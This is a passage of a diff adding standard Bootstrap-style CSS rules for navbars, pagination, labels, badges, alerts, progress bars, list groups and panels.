(min-width: 768px) { + .nav-justified > li { + display: table-cell; + width: 1%; + } + .nav-justified > li > a { + margin-bottom: 0; + } +} +.nav-tabs-justified { + border-bottom: 0; +} +.nav-tabs-justified > li > a { + margin-right: 0; + border-radius: 4px; +} +.nav-tabs-justified > .active > a, +.nav-tabs-justified > .active > a:hover, +.nav-tabs-justified > .active > a:focus { + border: 1px solid #ddd; +} +@media (min-width: 768px) { + .nav-tabs-justified > li > a { + border-bottom: 1px solid #ddd; + border-radius: 4px 4px 0 0; + } + .nav-tabs-justified > .active > a, + .nav-tabs-justified > .active > a:hover, + .nav-tabs-justified > .active > a:focus { + border-bottom-color: #fff; + } +} +.tab-content > .tab-pane { + display: none; +} +.tab-content > .active { + display: block; +} +.nav-tabs .dropdown-menu { + margin-top: -1px; + border-top-left-radius: 0; + border-top-right-radius: 0; +} +.navbar { + position: relative; + min-height: 50px; + margin-bottom: 20px; + border: 1px solid transparent; +} +@media (min-width: 768px) { + .navbar { + border-radius: 4px; + } +} +@media (min-width: 768px) { + .navbar-header { + float: left; + } +} +.navbar-collapse { + padding-right: 15px; + padding-left: 15px; + overflow-x: visible; + -webkit-overflow-scrolling: touch; + border-top: 1px solid transparent; + -webkit-box-shadow: inset 0 1px 0 rgba(255, 255, 255, .1); + box-shadow: inset 0 1px 0 rgba(255, 255, 255, .1); +} +.navbar-collapse.in { + overflow-y: auto; +} +@media (min-width: 768px) { + .navbar-collapse { + width: auto; + border-top: 0; + -webkit-box-shadow: none; + box-shadow: none; + } + .navbar-collapse.collapse { + display: block !important; + height: auto !important; + padding-bottom: 0; + overflow: visible !important; + } + .navbar-collapse.in { + overflow-y: visible; + } + .navbar-fixed-top .navbar-collapse, + .navbar-static-top .navbar-collapse, + .navbar-fixed-bottom .navbar-collapse { + padding-right: 0; + padding-left: 0; + } +} +.navbar-fixed-top .navbar-collapse, +.navbar-fixed-bottom .navbar-collapse { + max-height: 340px; +} +@media (max-device-width: 480px) and (orientation: landscape) { + .navbar-fixed-top .navbar-collapse, + .navbar-fixed-bottom .navbar-collapse { + max-height: 200px; + } +} +.container > .navbar-header, +.container-fluid > .navbar-header, +.container > .navbar-collapse, +.container-fluid > .navbar-collapse { + margin-right: -15px; + margin-left: -15px; +} +@media (min-width: 768px) { + .container > .navbar-header, + .container-fluid > .navbar-header, + .container > .navbar-collapse, + .container-fluid > .navbar-collapse { + margin-right: 0; + margin-left: 0; + } +} +.navbar-static-top { + z-index: 1000; + border-width: 0 0 1px; +} +@media (min-width: 768px) { + .navbar-static-top { + border-radius: 0; + } +} +.navbar-fixed-top, +.navbar-fixed-bottom { + position: fixed; + right: 0; + left: 0; + z-index: 1030; +} +@media (min-width: 768px) { + .navbar-fixed-top, + .navbar-fixed-bottom { + border-radius: 0; + } +} +.navbar-fixed-top { + top: 0; + border-width: 0 0 1px; +} +.navbar-fixed-bottom { + bottom: 0; + margin-bottom: 0; + border-width: 1px 0 0; +} +.navbar-brand { + float: left; + height: 50px; + padding: 15px 15px; + font-size: 18px; + line-height: 20px; +} +.navbar-brand:hover, +.navbar-brand:focus { + text-decoration: none; +} +.navbar-brand > img { + display: block; +} +@media (min-width: 768px) { + .navbar > .container .navbar-brand, + .navbar > .container-fluid .navbar-brand { + margin-left: -15px; + } +} +.navbar-toggle { + position: relative; + float: right; + padding: 9px 10px; + margin-top: 8px; + margin-right: 15px; + margin-bottom: 8px; + background-color: transparent; + background-image: none; + border: 1px solid transparent; + border-radius: 4px; +} +.navbar-toggle:focus { + outline: 0; +} +.navbar-toggle .icon-bar { + display: block; + width: 22px; + height: 2px; + border-radius: 1px; +} +.navbar-toggle .icon-bar + .icon-bar { + margin-top: 4px; +} +@media (min-width: 768px) { + .navbar-toggle { + display: none; + } +} +.navbar-nav { + margin: 7.5px -15px; +} +.navbar-nav > li > a { + padding-top: 10px; + padding-bottom: 10px; + line-height: 20px; +} +@media (max-width: 767px) { + .navbar-nav .open .dropdown-menu { + position: static; + float: none; + width: auto; + margin-top: 0; + background-color: transparent; + border: 0; + -webkit-box-shadow: none; + box-shadow: none; + } + .navbar-nav .open .dropdown-menu > li > a, + .navbar-nav .open .dropdown-menu .dropdown-header { + padding: 5px 15px 5px 25px; + } + .navbar-nav .open .dropdown-menu > li > a { + line-height: 20px; + } + .navbar-nav .open .dropdown-menu > li > a:hover, + .navbar-nav .open .dropdown-menu > li > a:focus { + background-image: none; + } +} +@media (min-width: 768px) { + .navbar-nav { + float: left; + margin: 0; + } + .navbar-nav > li { + float: left; + } + .navbar-nav > li > a { + padding-top: 15px; + padding-bottom: 15px; + } +} +.navbar-form { + padding: 10px 15px; + margin-top: 8px; + margin-right: -15px; + margin-bottom: 8px; + margin-left: -15px; + border-top: 1px solid transparent; + border-bottom: 1px solid transparent; + -webkit-box-shadow: inset 0 1px 0 rgba(255, 255, 255, .1), 0 1px 0 rgba(255, 255, 255, .1); + box-shadow: inset 0 1px 0 rgba(255, 255, 255, .1), 0 1px 0 rgba(255, 255, 255, .1); +} +@media (min-width: 768px) { + .navbar-form .form-group { + display: inline-block; + margin-bottom: 0; + vertical-align: middle; + } + .navbar-form .form-control { + display: inline-block; + width: auto; + vertical-align: middle; + } + .navbar-form .form-control-static { + display: inline-block; + } + .navbar-form .input-group { + display: inline-table; + vertical-align: middle; + } + .navbar-form .input-group .input-group-addon, + .navbar-form .input-group .input-group-btn, + .navbar-form .input-group .form-control { + width: auto; + } + .navbar-form .input-group > .form-control { + width: 100%; + } + .navbar-form .control-label { + margin-bottom: 0; + vertical-align: middle; + } + .navbar-form .radio, + .navbar-form .checkbox { + display: inline-block; + margin-top: 0; + margin-bottom: 0; + vertical-align: middle; + } + .navbar-form .radio label, + .navbar-form .checkbox label { + padding-left: 0; + } + .navbar-form .radio input[type="radio"], + .navbar-form .checkbox input[type="checkbox"] { + position: relative; + margin-left: 0; + } + .navbar-form .has-feedback .form-control-feedback { + top: 0; + } +} +@media (max-width: 767px) { + .navbar-form .form-group { + margin-bottom: 5px; + } + .navbar-form .form-group:last-child { + margin-bottom: 0; + } +} +@media (min-width: 768px) { + .navbar-form { + width: auto; + padding-top: 0; + padding-bottom: 0; + margin-right: 0; + margin-left: 0; + border: 0; + -webkit-box-shadow: none; + box-shadow: none; + } +} +.navbar-nav > li > .dropdown-menu { + margin-top: 0; + border-top-left-radius: 0; + border-top-right-radius: 0; +} +.navbar-fixed-bottom .navbar-nav > li > .dropdown-menu { + margin-bottom: 0; + border-top-left-radius: 4px; + border-top-right-radius: 4px; + border-bottom-right-radius: 0; + border-bottom-left-radius: 0; +} +.navbar-btn { + margin-top: 8px; + margin-bottom: 8px; +} +.navbar-btn.btn-sm { + margin-top: 10px; + margin-bottom: 10px; +} +.navbar-btn.btn-xs { + margin-top: 14px; + margin-bottom: 14px; +} +.navbar-text { + margin-top: 15px; + margin-bottom: 15px; +} +@media (min-width: 768px) { + .navbar-text { + float: left; + margin-right: 15px; + margin-left: 15px; + } +} +@media (min-width: 768px) { + .navbar-left { + float: left !important; + } + .navbar-right { + float: right !important; + margin-right: -15px; + } + .navbar-right ~ .navbar-right { + margin-right: 0; + } +} +.navbar-default { + background-color: #f8f8f8; + border-color: #e7e7e7; +} +.navbar-default .navbar-brand { + color: #777; +} +.navbar-default .navbar-brand:hover, +.navbar-default .navbar-brand:focus { + color: #5e5e5e; + background-color: transparent; +} +.navbar-default .navbar-text { + color: #777; +} +.navbar-default .navbar-nav > li > a { + color: #777; +} +.navbar-default .navbar-nav > li > a:hover, +.navbar-default .navbar-nav > li > a:focus { + color: #333; + background-color: transparent; +} +.navbar-default .navbar-nav > .active > a, +.navbar-default .navbar-nav > .active > a:hover, +.navbar-default .navbar-nav > .active > a:focus { + color: #555; + background-color: #e7e7e7; +} +.navbar-default .navbar-nav > .disabled > a, +.navbar-default .navbar-nav > .disabled > a:hover, +.navbar-default .navbar-nav > .disabled > a:focus { + color: #ccc; + background-color: transparent; +} +.navbar-default .navbar-toggle { + border-color: #ddd; +} +.navbar-default .navbar-toggle:hover, +.navbar-default .navbar-toggle:focus { + background-color: #ddd; +} +.navbar-default .navbar-toggle .icon-bar { + background-color: #888; +} +.navbar-default .navbar-collapse, +.navbar-default .navbar-form { + border-color: #e7e7e7; +} +.navbar-default .navbar-nav > .open > a, +.navbar-default .navbar-nav > .open > a:hover, +.navbar-default .navbar-nav > .open > a:focus { + color: #555; + background-color: #e7e7e7; +} +@media (max-width: 767px) { + .navbar-default .navbar-nav .open .dropdown-menu > li > a { + color: #777; + } + .navbar-default .navbar-nav .open .dropdown-menu > li > a:hover, + .navbar-default .navbar-nav .open .dropdown-menu > li > a:focus { + color: #333; + background-color: transparent; + } + .navbar-default .navbar-nav .open .dropdown-menu > .active > a, + .navbar-default .navbar-nav .open .dropdown-menu > .active > a:hover, + .navbar-default .navbar-nav .open .dropdown-menu > .active > a:focus { + color: #555; + background-color: #e7e7e7; + } + .navbar-default .navbar-nav .open .dropdown-menu > .disabled > a, + .navbar-default .navbar-nav .open .dropdown-menu > .disabled > a:hover, + .navbar-default .navbar-nav .open .dropdown-menu > .disabled > a:focus { + color: #ccc; + background-color: transparent; + } +} +.navbar-default .navbar-link { + color: #777; +} +.navbar-default .navbar-link:hover { + color: #333; +} +.navbar-default .btn-link { + color: #777; +} +.navbar-default .btn-link:hover, +.navbar-default .btn-link:focus { + color: #333; +} +.navbar-default .btn-link[disabled]:hover, +fieldset[disabled] .navbar-default .btn-link:hover, +.navbar-default .btn-link[disabled]:focus, +fieldset[disabled] .navbar-default .btn-link:focus { + color: #ccc; +} +.navbar-inverse { + background-color: #222; + border-color: #080808; +} +.navbar-inverse .navbar-brand { + color: #9d9d9d; +} +.navbar-inverse .navbar-brand:hover, +.navbar-inverse .navbar-brand:focus { + color: #fff; + background-color: transparent; +} +.navbar-inverse .navbar-text { + color: #9d9d9d; +} +.navbar-inverse .navbar-nav > li > a { + color: #9d9d9d; +} +.navbar-inverse .navbar-nav > li > a:hover, +.navbar-inverse .navbar-nav > li > a:focus { + color: #fff; + background-color: transparent; +} +.navbar-inverse .navbar-nav > .active > a, +.navbar-inverse .navbar-nav > .active > a:hover, +.navbar-inverse .navbar-nav > .active > a:focus { + color: #fff; + background-color: #080808; +} +.navbar-inverse .navbar-nav > .disabled > a, +.navbar-inverse .navbar-nav > .disabled > a:hover, +.navbar-inverse .navbar-nav > .disabled > a:focus { + color: #444; + background-color: transparent; +} +.navbar-inverse .navbar-toggle { + border-color: #333; +} +.navbar-inverse .navbar-toggle:hover, +.navbar-inverse .navbar-toggle:focus { + background-color: #333; +} +.navbar-inverse .navbar-toggle .icon-bar { + background-color: #fff; +} +.navbar-inverse .navbar-collapse, +.navbar-inverse .navbar-form { + border-color: #101010; +} +.navbar-inverse .navbar-nav > .open > a, +.navbar-inverse .navbar-nav > .open > a:hover, +.navbar-inverse .navbar-nav > .open > a:focus { + color: #fff; + background-color: #080808; +} +@media (max-width: 767px) { + .navbar-inverse .navbar-nav .open .dropdown-menu > .dropdown-header { + border-color: #080808; + } + .navbar-inverse .navbar-nav .open .dropdown-menu .divider { + background-color: #080808; + } + .navbar-inverse .navbar-nav .open .dropdown-menu > li > a { + color: #9d9d9d; + } + .navbar-inverse .navbar-nav .open .dropdown-menu > li > a:hover, + .navbar-inverse .navbar-nav .open .dropdown-menu > li > a:focus { + color: #fff; + background-color: transparent; + } + .navbar-inverse .navbar-nav .open .dropdown-menu > .active > a, + .navbar-inverse .navbar-nav .open .dropdown-menu > .active > a:hover, + .navbar-inverse .navbar-nav .open .dropdown-menu > .active > a:focus { + color: #fff; + background-color: #080808; + } + .navbar-inverse .navbar-nav .open .dropdown-menu > .disabled > a, + .navbar-inverse .navbar-nav .open .dropdown-menu > .disabled > a:hover, + .navbar-inverse .navbar-nav .open .dropdown-menu > .disabled > a:focus { + color: #444; + background-color: transparent; + } +} +.navbar-inverse .navbar-link { + color: #9d9d9d; +} +.navbar-inverse .navbar-link:hover { + color: #fff; +} +.navbar-inverse .btn-link { + color: #9d9d9d; +} +.navbar-inverse .btn-link:hover, +.navbar-inverse .btn-link:focus { + color: #fff; +} +.navbar-inverse .btn-link[disabled]:hover, +fieldset[disabled] .navbar-inverse .btn-link:hover, +.navbar-inverse .btn-link[disabled]:focus, +fieldset[disabled] .navbar-inverse .btn-link:focus { + color: #444; +} +.breadcrumb { + padding: 8px 15px; + margin-bottom: 20px; + list-style: none; + background-color: #f5f5f5; + border-radius: 4px; +} +.breadcrumb > li { + display: inline-block; +} +.breadcrumb > li + li:before { + padding: 0 5px; + color: #ccc; + content: "/\00a0"; +} +.breadcrumb > .active { + color: #777; +} +.pagination { + display: inline-block; + padding-left: 0; + margin: 20px 0; + border-radius: 4px; +} +.pagination > li { + display: inline; +} +.pagination > li > a, +.pagination > li > span { + position: relative; + float: left; + padding: 6px 12px; + margin-left: -1px; + line-height: 1.42857143; + color: #337ab7; + text-decoration: none; + background-color: #fff; + border: 1px solid #ddd; +} +.pagination > li:first-child > a, +.pagination > li:first-child > span { + margin-left: 0; + border-top-left-radius: 4px; + border-bottom-left-radius: 4px; +} +.pagination > li:last-child > a, +.pagination > li:last-child > span { + border-top-right-radius: 4px; + border-bottom-right-radius: 4px; +} +.pagination > li > a:hover, +.pagination > li > span:hover, +.pagination > li > a:focus, +.pagination > li > span:focus { + z-index: 2; + color: #23527c; + background-color: #eee; + border-color: #ddd; +} +.pagination > .active > a, +.pagination > .active > span, +.pagination > .active > a:hover, +.pagination > .active > span:hover, +.pagination > .active > a:focus, +.pagination > .active > span:focus { + z-index: 3; + color: #fff; + cursor: default; + background-color: #337ab7; + border-color: #337ab7; +} +.pagination > .disabled > span, +.pagination > .disabled > span:hover, +.pagination > .disabled > span:focus, +.pagination > .disabled > a, +.pagination > .disabled > a:hover, +.pagination > .disabled > a:focus { + color: #777; + cursor: not-allowed; + background-color: #fff; + border-color: #ddd; +} +.pagination-lg > li > a, +.pagination-lg > li > span { + padding: 10px 16px; + font-size: 18px; + line-height: 1.3333333; +} +.pagination-lg > li:first-child > a, +.pagination-lg > li:first-child > span { + border-top-left-radius: 6px; + border-bottom-left-radius: 6px; +} +.pagination-lg > li:last-child > a, +.pagination-lg > li:last-child > span { + border-top-right-radius: 6px; + border-bottom-right-radius: 6px; +} +.pagination-sm > li > a, +.pagination-sm > li > span { + padding: 5px 10px; + font-size: 12px; + line-height: 1.5; +} +.pagination-sm > li:first-child > a, +.pagination-sm > li:first-child > span { + border-top-left-radius: 3px; + border-bottom-left-radius: 3px; +} +.pagination-sm > li:last-child > a, +.pagination-sm > li:last-child > span { + border-top-right-radius: 3px; + border-bottom-right-radius: 3px; +} +.pager { + padding-left: 0; + margin: 20px 0; + text-align: center; + list-style: none; +} +.pager li { + display: inline; +} +.pager li > a, +.pager li > span { + display: inline-block; + padding: 5px 14px; + background-color: #fff; + border: 1px solid #ddd; + border-radius: 15px; +} +.pager li > a:hover, +.pager li > a:focus { + text-decoration: none; + background-color: #eee; +} +.pager .next > a, +.pager .next > span { + float: right; +} +.pager .previous > a, +.pager .previous > span { + float: left; +} +.pager .disabled > a, +.pager .disabled > a:hover, +.pager .disabled > a:focus, +.pager .disabled > span { + color: #777; + cursor: not-allowed; + background-color: #fff; +} +.label { + display: inline; + padding: .2em .6em .3em; + font-size: 75%; + font-weight: bold; + line-height: 1; + color: #fff; + text-align: center; + white-space: nowrap; + vertical-align: baseline; + border-radius: .25em; +} +a.label:hover, +a.label:focus { + color: #fff; + text-decoration: none; + cursor: pointer; +} +.label:empty { + display: none; +} +.btn .label { + position: relative; + top: -1px; +} +.label-default { + background-color: #777; +} +.label-default[href]:hover, +.label-default[href]:focus { + background-color: #5e5e5e; +} +.label-primary { + background-color: #337ab7; +} +.label-primary[href]:hover, +.label-primary[href]:focus { + background-color: #286090; +} +.label-success { + background-color: #5cb85c; +} +.label-success[href]:hover, +.label-success[href]:focus { + background-color: #449d44; +} +.label-info { + background-color: #5bc0de; +} +.label-info[href]:hover, +.label-info[href]:focus { + background-color: #31b0d5; +} +.label-warning { + background-color: #f0ad4e; +} +.label-warning[href]:hover, +.label-warning[href]:focus { + background-color: #ec971f; +} +.label-danger { + background-color: #d9534f; +} +.label-danger[href]:hover, +.label-danger[href]:focus { + background-color: #c9302c; +} +.badge { + display: inline-block; + min-width: 10px; + padding: 3px 7px; + font-size: 12px; + font-weight: bold; + line-height: 1; + color: #fff; + text-align: center; + white-space: nowrap; + vertical-align: middle; + background-color: #777; + border-radius: 10px; +} +.badge:empty { + display: none; +} +.btn .badge { + position: relative; + top: -1px; +} +.btn-xs .badge, +.btn-group-xs > .btn .badge { + top: 0; + padding: 1px 5px; +} +a.badge:hover, +a.badge:focus { + color: #fff; + text-decoration: none; + cursor: pointer; +} +.list-group-item.active > .badge, +.nav-pills > .active > a > .badge { + color: #337ab7; + background-color: #fff; +} +.list-group-item > .badge { + float: right; +} +.list-group-item > .badge + .badge { + margin-right: 5px; +} +.nav-pills > li > a > .badge { + margin-left: 3px; +} +.jumbotron { + padding-top: 30px; + padding-bottom: 30px; + margin-bottom: 30px; + color: inherit; + background-color: #eee; +} +.jumbotron h1, +.jumbotron .h1 { + color: inherit; +} +.jumbotron p { + margin-bottom: 15px; + font-size: 21px; + font-weight: 200; +} +.jumbotron > hr { + border-top-color: #d5d5d5; +} +.container .jumbotron, +.container-fluid .jumbotron { + padding-right: 15px; + padding-left: 15px; + border-radius: 6px; +} +.jumbotron .container { + max-width: 100%; +} +@media screen and (min-width: 768px) { + .jumbotron { + padding-top: 48px; + padding-bottom: 48px; + } + .container .jumbotron, + .container-fluid .jumbotron { + padding-right: 60px; + padding-left: 60px; + } + .jumbotron h1, + .jumbotron .h1 { + font-size: 63px; + } +} +.thumbnail { + display: block; + padding: 4px; + margin-bottom: 20px; + line-height: 1.42857143; + background-color: #fff; + border: 1px solid #ddd; + border-radius: 4px; + -webkit-transition: border .2s ease-in-out; + -o-transition: border .2s ease-in-out; + transition: border .2s ease-in-out; +} +.thumbnail > img, +.thumbnail a > img { + margin-right: auto; + margin-left: auto; +} +a.thumbnail:hover, +a.thumbnail:focus, +a.thumbnail.active { + border-color: #337ab7; +} +.thumbnail .caption { + padding: 9px; + color: #333; +} +.alert { + padding: 15px; + margin-bottom: 20px; + border: 1px solid transparent; + border-radius: 4px; +} +.alert h4 { + margin-top: 0; + color: inherit; +} +.alert .alert-link { + font-weight: bold; +} +.alert > p, +.alert > ul { + margin-bottom: 0; +} +.alert > p + p { + margin-top: 5px; +} +.alert-dismissable, +.alert-dismissible { + padding-right: 35px; +} +.alert-dismissable .close, +.alert-dismissible .close { + position: relative; + top: -2px; + right: -21px; + color: inherit; +} +.alert-success { + color: #3c763d; + background-color: #dff0d8; + border-color: #d6e9c6; +} +.alert-success hr { + border-top-color: #c9e2b3; +} +.alert-success .alert-link { + color: #2b542c; +} +.alert-info { + color: #31708f; + background-color: #d9edf7; + border-color: #bce8f1; +} +.alert-info hr { + border-top-color: #a6e1ec; +} +.alert-info .alert-link { + color: #245269; +} +.alert-warning { + color: #8a6d3b; + background-color: #fcf8e3; + border-color: #faebcc; +} +.alert-warning hr { + border-top-color: #f7e1b5; +} +.alert-warning .alert-link { + color: #66512c; +} +.alert-danger { + color: #a94442; + background-color: #f2dede; + border-color: #ebccd1; +} +.alert-danger hr { + border-top-color: #e4b9c0; +} +.alert-danger .alert-link { + color: #843534; +} +@-webkit-keyframes progress-bar-stripes { + from { + background-position: 40px 0; + } + to { + background-position: 0 0; + } +} +@-o-keyframes progress-bar-stripes { + from { + background-position: 40px 0; + } + to { + background-position: 0 0; + } +} +@keyframes progress-bar-stripes { + from { + background-position: 40px 0; + } + to { + background-position: 0 0; + } +} +.progress { + height: 20px; + margin-bottom: 20px; + overflow: hidden; + background-color: #f5f5f5; + border-radius: 4px; + -webkit-box-shadow: inset 0 1px 2px rgba(0, 0, 0, .1); + box-shadow: inset 0 1px 2px rgba(0, 0, 0, .1); +} +.progress-bar { + float: left; + width: 0; + height: 100%; + font-size: 12px; + line-height: 20px; + color: #fff; + text-align: center; + background-color: #337ab7; + -webkit-box-shadow: inset 0 -1px 0 rgba(0, 0, 0, .15); + box-shadow: inset 0 -1px 0 rgba(0, 0, 0, .15); + -webkit-transition: width .6s ease; + -o-transition: width .6s ease; + transition: width .6s ease; +} +.progress-striped .progress-bar, +.progress-bar-striped { + background-image: -webkit-linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent); + background-image: -o-linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent); + background-image: linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent); + -webkit-background-size: 40px 40px; + background-size: 40px 40px; +} +.progress.active .progress-bar, +.progress-bar.active { + -webkit-animation: progress-bar-stripes 2s linear infinite; + -o-animation: progress-bar-stripes 2s linear infinite; + animation: progress-bar-stripes 2s linear infinite; +} +.progress-bar-success { + background-color: #5cb85c; +} +.progress-striped .progress-bar-success { + background-image: -webkit-linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent); + background-image: -o-linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent); + background-image: linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent); +} +.progress-bar-info { + background-color: #5bc0de; +} +.progress-striped .progress-bar-info { + background-image: -webkit-linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent); + background-image: -o-linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent); + background-image: linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent); +} +.progress-bar-warning { + background-color: #f0ad4e; +} +.progress-striped .progress-bar-warning { + background-image: -webkit-linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent); + background-image: -o-linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent); + background-image: linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent); +} +.progress-bar-danger { + background-color: #d9534f; +} +.progress-striped .progress-bar-danger { + background-image: -webkit-linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent); + background-image: -o-linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent); + background-image: linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent); +} +.media { + margin-top: 15px; +} +.media:first-child { + margin-top: 0; +} +.media, +.media-body { + overflow: hidden; + zoom: 1; +} +.media-body { + width: 10000px; +} +.media-object { + display: block; +} +.media-object.img-thumbnail { + max-width: none; +} +.media-right, +.media > .pull-right { + padding-left: 10px; +} +.media-left, +.media > .pull-left { + padding-right: 10px; +} +.media-left, +.media-right, +.media-body { + display: table-cell; + vertical-align: top; +} +.media-middle { + vertical-align: middle; +} +.media-bottom { + vertical-align: bottom; +} +.media-heading { + margin-top: 0; + margin-bottom: 5px; +} +.media-list { + padding-left: 0; + list-style: none; +} +.list-group { + padding-left: 0; + margin-bottom: 20px; +} +.list-group-item { + position: relative; + display: block; + padding: 10px 15px; + margin-bottom: -1px; + background-color: #fff; + border: 1px solid #ddd; +} +.list-group-item:first-child { + border-top-left-radius: 4px; + border-top-right-radius: 4px; +} +.list-group-item:last-child { + margin-bottom: 0; + border-bottom-right-radius: 4px; + border-bottom-left-radius: 4px; +} +a.list-group-item, +button.list-group-item { + color: #555; +} +a.list-group-item .list-group-item-heading, +button.list-group-item .list-group-item-heading { + color: #333; +} +a.list-group-item:hover, +button.list-group-item:hover, +a.list-group-item:focus, +button.list-group-item:focus { + color: #555; + text-decoration: none; + background-color: #f5f5f5; +} +button.list-group-item { + width: 100%; + text-align: left; +} +.list-group-item.disabled, +.list-group-item.disabled:hover, +.list-group-item.disabled:focus { + color: #777; + cursor: not-allowed; + background-color: #eee; +} +.list-group-item.disabled .list-group-item-heading, +.list-group-item.disabled:hover .list-group-item-heading, +.list-group-item.disabled:focus .list-group-item-heading { + color: inherit; +} +.list-group-item.disabled .list-group-item-text, +.list-group-item.disabled:hover .list-group-item-text, +.list-group-item.disabled:focus .list-group-item-text { + color: #777; +} +.list-group-item.active, +.list-group-item.active:hover, +.list-group-item.active:focus { + z-index: 2; + color: #fff; + background-color: #337ab7; + border-color: #337ab7; +} +.list-group-item.active .list-group-item-heading, +.list-group-item.active:hover .list-group-item-heading, +.list-group-item.active:focus .list-group-item-heading, +.list-group-item.active .list-group-item-heading > small, +.list-group-item.active:hover .list-group-item-heading > small, +.list-group-item.active:focus .list-group-item-heading > small, +.list-group-item.active .list-group-item-heading > .small, +.list-group-item.active:hover .list-group-item-heading > .small, +.list-group-item.active:focus .list-group-item-heading > .small { + color: inherit; +} +.list-group-item.active .list-group-item-text, +.list-group-item.active:hover .list-group-item-text, +.list-group-item.active:focus .list-group-item-text { + color: #c7ddef; +} +.list-group-item-success { + color: #3c763d; + background-color: #dff0d8; +} +a.list-group-item-success, +button.list-group-item-success { + color: #3c763d; +} +a.list-group-item-success .list-group-item-heading, +button.list-group-item-success .list-group-item-heading { + color: inherit; +} +a.list-group-item-success:hover, +button.list-group-item-success:hover, +a.list-group-item-success:focus, +button.list-group-item-success:focus { + color: #3c763d; + background-color: #d0e9c6; +} +a.list-group-item-success.active, +button.list-group-item-success.active, +a.list-group-item-success.active:hover, +button.list-group-item-success.active:hover, +a.list-group-item-success.active:focus, +button.list-group-item-success.active:focus { + color: #fff; + background-color: #3c763d; + border-color: #3c763d; +} +.list-group-item-info { + color: #31708f; + background-color: #d9edf7; +} +a.list-group-item-info, +button.list-group-item-info { + color: #31708f; +} +a.list-group-item-info .list-group-item-heading, +button.list-group-item-info .list-group-item-heading { + color: inherit; +} +a.list-group-item-info:hover, +button.list-group-item-info:hover, +a.list-group-item-info:focus, +button.list-group-item-info:focus { + color: #31708f; + background-color: #c4e3f3; +} +a.list-group-item-info.active, +button.list-group-item-info.active, +a.list-group-item-info.active:hover, +button.list-group-item-info.active:hover, +a.list-group-item-info.active:focus, +button.list-group-item-info.active:focus { + color: #fff; + background-color: #31708f; + border-color: #31708f; +} +.list-group-item-warning { + color: #8a6d3b; + background-color: #fcf8e3; +} +a.list-group-item-warning, +button.list-group-item-warning { + color: #8a6d3b; +} +a.list-group-item-warning .list-group-item-heading, +button.list-group-item-warning .list-group-item-heading { + color: inherit; +} +a.list-group-item-warning:hover, +button.list-group-item-warning:hover, +a.list-group-item-warning:focus, +button.list-group-item-warning:focus { + color: #8a6d3b; + background-color: #faf2cc; +} +a.list-group-item-warning.active, +button.list-group-item-warning.active, +a.list-group-item-warning.active:hover, +button.list-group-item-warning.active:hover, +a.list-group-item-warning.active:focus, +button.list-group-item-warning.active:focus { + color: #fff; + background-color: #8a6d3b; + border-color: #8a6d3b; +} +.list-group-item-danger { + color: #a94442; + background-color: #f2dede; +} +a.list-group-item-danger, +button.list-group-item-danger { + color: #a94442; +} +a.list-group-item-danger .list-group-item-heading, +button.list-group-item-danger .list-group-item-heading { + color: inherit; +} +a.list-group-item-danger:hover, +button.list-group-item-danger:hover, +a.list-group-item-danger:focus, +button.list-group-item-danger:focus { + color: #a94442; + background-color: #ebcccc; +} +a.list-group-item-danger.active, +button.list-group-item-danger.active, +a.list-group-item-danger.active:hover, +button.list-group-item-danger.active:hover, +a.list-group-item-danger.active:focus, +button.list-group-item-danger.active:focus { + color: #fff; + background-color: #a94442; + border-color: #a94442; +} +.list-group-item-heading { + margin-top: 0; + margin-bottom: 5px; +} +.list-group-item-text { + margin-bottom: 0; + line-height: 1.3; +} +.panel { + margin-bottom: 20px; + background-color: #fff; + border: 1px solid transparent; + border-radius: 4px; + -webkit-box-shadow: 0 1px 1px rgba(0, 0, 0, .05); + box-shadow: 0 1px 1px rgba(0, 0, 0, .05); +} +.panel-body { + padding: 15px; +} +.panel-heading { + padding: 10px 15px; + border-bottom: 1px solid transparent; + border-top-left-radius: 3px; + border-top-right-radius: 3px; +} +.panel-heading > .dropdown .dropdown-toggle { + color: inherit; +} +.panel-title { + margin-top: 0; + margin-bottom: 0; + font-size: 16px; + color: inherit; +} +.panel-title > a, +.panel-title > small, 